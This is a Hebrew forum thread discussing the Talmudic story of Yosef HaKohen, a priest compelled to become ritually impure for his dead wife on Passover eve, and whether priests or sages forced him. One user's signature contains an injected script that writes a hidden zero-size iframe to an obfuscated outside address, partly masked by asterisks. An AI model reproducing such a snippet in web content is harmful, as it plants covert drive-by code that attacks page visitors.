| נשלח ב-29/4/2018 21:16 |
 |
| |
סיפור לפסח שני. ממסכת זבחים -ופרשת אמור
.
.
וַיֹּאמֶר ה' אֶל-מֹשֶׁה אֱמֹר אֶל-הַכֹּהֲנִים בְּנֵי אַהֲרֹן וְאָמַרְתָּ אֲלֵהֶם, לְנֶפֶשׁ לֹא-יִטַּמָּא בְּעַמָּיו: כִּי אִם-לִשְׁאֵרוֹ הַקָּרֹב אֵלָיו לְאִמּוֹ וּלְאָבִיו וְלִבְנוֹ וּלְבִתּוֹ וּלְאָחִיו: וְלַאֲחֹתוֹ הַבְּתוּלָה הַקְּרוֹבָה אֵלָיו אֲשֶׁר לֹא-הָיְתָה לְאִישׁ לָהּ יִטַּמָּא. (ויקרא כ"א א-ג)
.
.
.
...דתניא: "לה יטמא" – מצוה.
לא רצה - מטמאין אותו על כרחו.
ומעשה ביוסף הכהן, שמתה אשתו בערב הפסח, ולא רצה ליטמא. ונמנו אחיו הכהנים, וטימאוהו בעל כרחו ." (בבלי, זבחים ק.) יוסף הכהן דמות מוכרת, קנה כבש, הוא כבר בירושלים עם אשתו ובני ביתו – והנה שוד ושבר! אשתו נפטרה כמה שעות לפני שצריך לשחוט את קרבן הפסח, ואחר כך לאכלו בזמנו, ולקיים עליו את המצות!
.
עשיית הפסח מצווה חשובה. חשובה עד כדי כך שהמבטלה בזדון – עונשו כרת, למרות שמדובר במצוות עשה. המצווה חשובה בעיניו של יוסף הכהן (1) והוא מעדיף לקיימה בזמנה, ולא עם שאר הטמאים ואלו שבדרך רחוקה – בפסח השני.
מה יעשה? מסתמא ישלם לאחרים כדי שיקברו את אשתו. הם – הזקוקים יותר לממון – הם ייטמאו ויידרשו לעשות פסח שני, והוא – הכהן המקפיד על המצוות – יוכל לקיים את המצווה.
שאר הכהנים לא היו מוכנים לקבל זאת. יתכן שיש מי שימצא בכך סיבות של "ככה לא עושים" שאמרו לו. משהו בנוסח "זו אשתך, יוסף!". הגמרא קמצנית בפרטים כאן. בכל זאת, סיפור מתקופת בית שני. מצד שני, הגמרא מביאה את המעשה בהקשרו ההלכתי – חובה על הכהן להיטמא לאשתו שנפטרה. אי אפשר לו שלא להיטמא לה. זו מצווה שהוא מצווה בה.
.
איך בכלל יתכן שיוסף הכהן לא טמא? היאך הוא טהור?
.
כנראה שלא היה עמה בחדר בזמן שנפטרה. אולי חשש מפטירה כזו כי כבר היתה נוטה למות, ולכן הלך לישון בחדר אחר, אולי ישנו בחצרו של אחד מתושבי ירושלים, אולי פירסה נידה – גם כאן הסיפור חסכן. אנו לא יודעים את הסיבות, רק את השורה התחתונה.
אשתו של יוסף הכהן נפטרה, והוא – הוא דואג לעשות קרבן פסח בזמנו. בטהרה.
.
אל תהיו שיפוטיים מייד. זה לא כמו טומאת הסכין במסכת יומא. יתכן שהיא נוטה למות כבר זמן רב, והיה להם זמן להיפרד ולהתרגל – להתכונן לפטירה. יכולו להיות גם סיבות אחרות, והיחס למוות בקופה בה המוות הוא אורח תדיר בבתים, גם היא, כנראה שונה.
אבל מצווה עליו להיטמא לאשתו, ואחיו הכהנים לא יניחוהו לעסוק בקרבן הפסח ולזנוח את חובתו.
.
גם איך "טימאוהו" לא מסופר לנו כאן. הם "נימנו" – ערכו הצבעה בסוגיה. בית דין של כהנים הצביע, ברוב, שיש לטמא אותו. גם כאן, לא ברורה הטכניקה. האם כפו עליו להיכנס לחדר בו שוכבת המנוחה כדי שייטמא? או שאולי רק הודיעוהו כי הם גוזרים עליו טומאה – הם לא יתנו לו להיכנס ולשחוט, כאילו הוא טמא?
בין כך ובין כך, לא הניחוהו אחיו להתעלם מחובתו להיטמא לאשתו . פסח-שני שמח!
(1) ועיינו במעשה בו רצה לדאוג שבתו תעשה פסח שני, למרות שפסח שני אינו נוהג בנשים, תוספא פסחים פ"ח.
 |
|
|
|
|
| נשלח ב-29/4/2018 22:05 |
|
| |
מואדיב
ברוך השב!
ואיקון ירוק על הנושא ועל הסיכום הברור מאד.
עד כמה שאני זוכר, דחפו אותו על הגופה.
הלכתי לבדוק. צ'יק צ'ק בזכות פרוייקט השו"ת זכור לטוב. וראה מה זו הפתעה. הנה הגרסה מהספרי.
ספרא אמור פרשה א עד פרק א
(יב) הקרובה לרבות את הארוסה אליו לרבות את הבוגרת לה יטמא מצוה, לא רצה ליטמא מטמין אותו בעל כורחו, ומעשה ביוסף הכהן שמתה אשתו ובערבי פסחים ולא רצה ליטמא לה ודחפוהו חכמים וטימאוהו על כורחו.
לא כהנים אלא חכמים!
(גם אני זכרתי כהנים. וזו הגרסה בתלמוד הבבלי, ומדוע זה לא מסתבר שזה בית דין של כהנים. אבל הנה, חכמים).
כהנים חכמים? חכמים שאינם כהנים? אולי השיטה של הכהנים היתה לא להיטמא גם לקרובים, ובמיוחד לאשה (שסוף סוף לא כתובה במפורש בפסוק) וחכמים דרשו שחייבים? ואולי, כמו שיאמרו החוקרים התלמודיים, יש כאן שריד של מאבק פסיקתי בין חכמים לכהנים?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 29/04/2018 22:07:06
|
|
|
|
|
| נשלח ב-30/4/2018 07:55 |
|
| |
.
אה, מיימוני, תודתי שלוחה לך, יחד עם אייקון של בהן זקופה, כמיטב המסורת!
|
|
|
|
| נשלח ב-30/4/2018 14:47 |
|
| |
כמדומני שאתם מחמיצים את העיקר.
מהתורה מותר לכהן וחייב להיטמא רק ל-6 קרובים. אביו. אמו. בנו. בתו. אחיו. אחותו שלא נישאה. חז"ל הוסיפו גם את אשתו. " שארו הקרוב אליו-זו אשתו" ולכאורה איך קבעו חכמים שיעבור על לאו של איסור טומאה. בקום עשה? ועל זה עונה הרמב"ם כי חכמים עשו את אשתו כמת מצוה, שקבעו שבעלה יורשה. ומימילא אף אחד לא יתעסק בקבורתה, ולכן בעלה מותר להטמא לה.
הבעיה היתה בסוף בית שני עם הכהנים הצדוקים שלא קיבלו את דרשות חכמים, ויוסף כנראה לא קיבל את ההיתר להטמא לאשתו. ולכאורה לא היה חייב להטמא כי מת מצוה שיש לו קוברים אחרים לא יטמא. אלא שאחיו הכהנים חששו שהסיבה שלא רוצה להטמא היא בגלל היותו צדוקי. ולכן טימאוהו בכח.
|
|
|
|
| נשלח ב-30/4/2018 15:13 |
|
| |
הוסיפו גם את אשתו? גם? אשתו היא הראשונה שהוא צריך להטמא לה.ויקרא פרק כא פסוק ב
כִּי אִם לִשְׁאֵרוֹ הַקָּרֹב אֵלָיו לְאִמּוֹ וּלְאָבִיו וְלִבְנוֹ וּלְבִתּוֹ וּלְאָחִיו:
|
|
|
|
| נשלח ב-30/4/2018 15:36 |
|
| |
מיימוני, הכהנים גזרו עליו ליטמא לה, אבל לא יכלו לדחוף אותו עליה כי כהנים הם. לכן נזקקו לחכמים שאינם כהנים.
|
|
|
|
| נשלח ב-30/4/2018 15:54 |
|
| |
ירוחם
עיין רמב"ם הלכות אבל פרק ב' ה"ז
|
|
|
|
| נשלח ב-30/4/2018 16:03 |
|
| |
עיין מה שהתורה אומרת בפרוש- במקום ראשון. אתה כתבת כי בתורה היא לא מופיע כתבת כי חז''ל הוסיפו את אשתו.
אם כן מכובדי התורה כתבה את אשתו בראשונה.
|
|
|
|
| נשלח ב-30/4/2018 16:12 |
|
| |
ירוחם
הפשט "שארו הקרוב אליו" זה כלל ואח"כ פרט " אביו אמו וכו'" ודרשת חז"ל "שארו -זו אשתו" זוהי אסמכתא. עיין אבן עזרא ותרגום אונקלוס.
|
|
|
|
| נשלח ב-30/4/2018 16:22 |
|
| |
אין בתורה ובמקראות ''אשתו'' אי אפשר לפרש אחרת את המילה שארו .לא בכל מצב צריכים לסרס את כוונת הכתוב. המקום הראשון באמת מגיע לאשתו. היא המשאירה אחריו זכר.-
|
|
|
|
| נשלח ב-30/4/2018 17:23 |
|
| |
דוד מקובר
ברוך השב!
אכן ביאורך הולם יפה את הנתונים המעטים שיש לנו, אי רצונו להיטמא וכפייתו בידי כהנים אחרים לעשות זאת.
ארחיב מעט ברשותך.
אנו עשויים לדמיין או לשער מספר הסברים לאירוע אודות יוסף הכהן - ואודות כהנים וחכמים שהגיבו על כך.
מדוע באמת יסרב יוסף הכהן להיטמא? הנה כמה אפשרויות:
א. הוא ראה בטומאה תופעה אונטולוגית שיש להיזהר ממנה (למשל, מילגרום בפירושו לויקרא). לכן מי שנטמא מזיק לעצמו ועדיף להשתמט מזה.
ב. הוא קיווה להיות כהן גדול, וכהן גדול אינו נטמא לקרוביו אפילו לשיטתנו, הפרושים. (אולי היה כהן גדול שעבר?)
ג. היו לכך נסיבות אישיות (הוא התכוון להתגרש מאשתו אבל לא הספיק).
ד. יוסף הכהן היה צדוקי והצדוקים לא דרשו כחכמים שהכהן נטמא לאשתו, או על כל פנים לא כחובה (האמנם זוהי שיטת הצדוקים? מנלן?)
האפשרות האחרונה מקשרת בין המעשה לבין המחלוקת המשוערת בין צדוקים לפרושים על השליטה במקדש. ואז יש לשאול מי היה משני הצדדים של המחלוקת. מי הם אלו שכפו עליו להיטמא ואפילו דחפו אותו?
לפי הגרסה בבבלי זבחים, כפי שהביא מואדיב, היו אלו כהנים. ואז משמח לפרש כמו דוד מקובר, שהשליטה היתה בידי רבותינו וההולכים בדרכם, והכהן היחיד שהיה אולי יוצא דופן היה אותו יוסף הכהן, וגם הוא לא היה ממש צדוקי אלא רק נחשד בצדוקיות.
לפי הגרסאות האחרות, חכמים הם שכפו עליו להיטמא. מי אם כן ניהל את המתרחש בין הכהנים, כהנים אחרים או חכמים?
מצאנו פה ושם איזכורים ואולי רמזים לכך שבית דין של כהנים נהגו לפי רצונם, בין בקביעת גובה הכתובה עבור בת כהן, או אולי אפילו בהוצאת בת כהן שזינתה להורג בשריפה של עצים (ולא בהמסת עופרת המהירה והקלה יותר).
נראה שהנתונים בידנו אינם מספיקים להכריע על מה נסוב הויכוח.
*****
ירוחמ
מה שכל כך ברור לך ולנו, שהאיש אמור להיטמא לאשתו, אולי זו הבנה שמבוססת על התרבות שלנו המודרנית? אולי פעם היה אחרת?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
| נשלח ב-30/4/2018 18:51 |
|
| |
.
קשה לי העמדתכם את יוסף הכהן כצדוקי.
מהדיונים אודות טומאת כהנים ביציאה לחו"ל אנו יודעים שרבו של יוסף הכהן היה רבי יוסי. אם כך, לא מן הצדוקים היה כלל וכלל.
וראו בתוספתא דע"ז: "אמרו על יוסף הכהן שהיה מטמא ויוצא אצל ר' יוסי לציידן..." ובגמרא המקבילה.
|
|
|
|
| נשלח ב-30/4/2018 19:15 |
|
| |
תלמיד של ר' יוסי לא יכל להקריב פסח
|
|
|
|
| נשלח ב-30/4/2018 19:32 |
|
| |
אמר רבי יוסי, מעשה ביוסף הכהן שהלך אצל רבו לצידון ללמוד תורה... (עירובין מז ב)
אחד מחמשה תלמידיו של ר' יוחנן בן זכאי הוא רבי יוסי הכהן.
ויש לציין להשערת אברבנאל שהוא יוסף בן מתתיהו.
|
|
|
|
| נשלח ב-30/4/2018 19:54 |
|
| |
מסתבר שויס אמר שאשתו דרשה מאוחרת ולכן לא רצה להיטמא, אבל היימן מתווכח ואומר שמזה שמדובר בערב פסח מוכח שלא הייתה לו בעיה עקרונית להיטמא לה.
במקומות אחרים הגרסה היא שיצא אל רבו לצידון ולא כתוב שם רבו, ואז זה אכן יכול להיות אותו אחד. אפשר יהיה לטעון שיצא אצל רבו הצדוקי, אבל מעצם זה שמביאים את המעשה נראה שלא היה צדוקי.
|
|
|
|
| נשלח ב-30/4/2018 19:58 |
|
| |
מואדיב
איני יודע אם יוסף הכהן אכן היה צדוקי. אולם החשדות שהיו בזמנם היו חזקים, את הכהן הגדול היו משביעים לפי יוה"כ שלא ינהג כצדוקים. ולכן יתכן שאמנם יוסף רצה להקריב קרבן פסח, אולם התנהגותו יצרה חשד שהוא צדוקי.
|
|
|
|
|
